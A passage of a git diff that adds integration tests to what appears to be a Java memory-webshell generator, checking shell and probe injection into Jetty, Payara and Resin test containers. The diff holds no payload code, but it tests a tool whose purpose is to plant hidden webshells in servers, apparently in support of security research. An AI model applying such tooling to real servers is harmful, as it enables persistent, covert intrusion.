ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 718a70c3..354196dc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,7 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -70,6 +73,16 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index b8880926..c5253b22 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,7 @@ static Stream casesProvider() { ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.Base64); @@ -72,6 +75,16 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_HANDLER}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index 8f836769..0e89d877 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,7 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +73,16 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "6", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index a7611d8d..409c6f0e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,7 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -63,12 +66,23 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info("logs: {}", logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index e16acd1c..ffe45914 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,7 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -69,6 +72,16 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index 74b33994..6a60ebab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,7 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -63,12 +66,23 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info("logs: {}", logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index 4ca2cef9..12c16a7c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -55,6 +57,8 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -71,6 +75,17 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index d531c056..670aead6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,8 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +74,17 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index 2dcddd49..e26391c8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -54,6 +56,8 @@ static Stream casesProvider() { ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER, ShellType.JETTY_AGENT_HANDLER ); List testPackers = List.of(Packers.JSP); @@ -70,6 +74,17 @@ static void tearDown() { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python); + } + + @ParameterizedTest + @ValueSource(strings = {ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.CUSTOMIZER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index 1f2bb4f0..bb7e7d06 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -1,15 +1,18 @@ package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -45,7 +48,7 @@ public class Payara5201ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); static Stream casesProvider() { @@ -61,6 +64,11 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); @@ -73,4 +81,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index ddcd5014..e6fbf79e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -1,15 +1,18 @@ package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -45,7 +48,7 @@ public class Payara520225ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); static Stream casesProvider() { @@ -61,6 +64,11 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); @@ -73,4 +81,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java index e1e98062..dcfff81b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -8,9 +9,11 @@ import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -22,9 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason @@ -62,11 +63,16 @@ static Stream casesProvider() { return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } + @BeforeAll + static void setup() { + container.waitingFor(Wait.forHttp("/app/test")); + } + @AfterAll static void tearDown() { String logs = container.getLogs(); log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @@ -74,4 +80,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java index 30a6ed11..881ca726 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -74,4 +76,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java index 933e25fc..a410aeb4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java index bab8ae69..dfa14406 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -10,6 +11,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -71,4 +73,12 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java 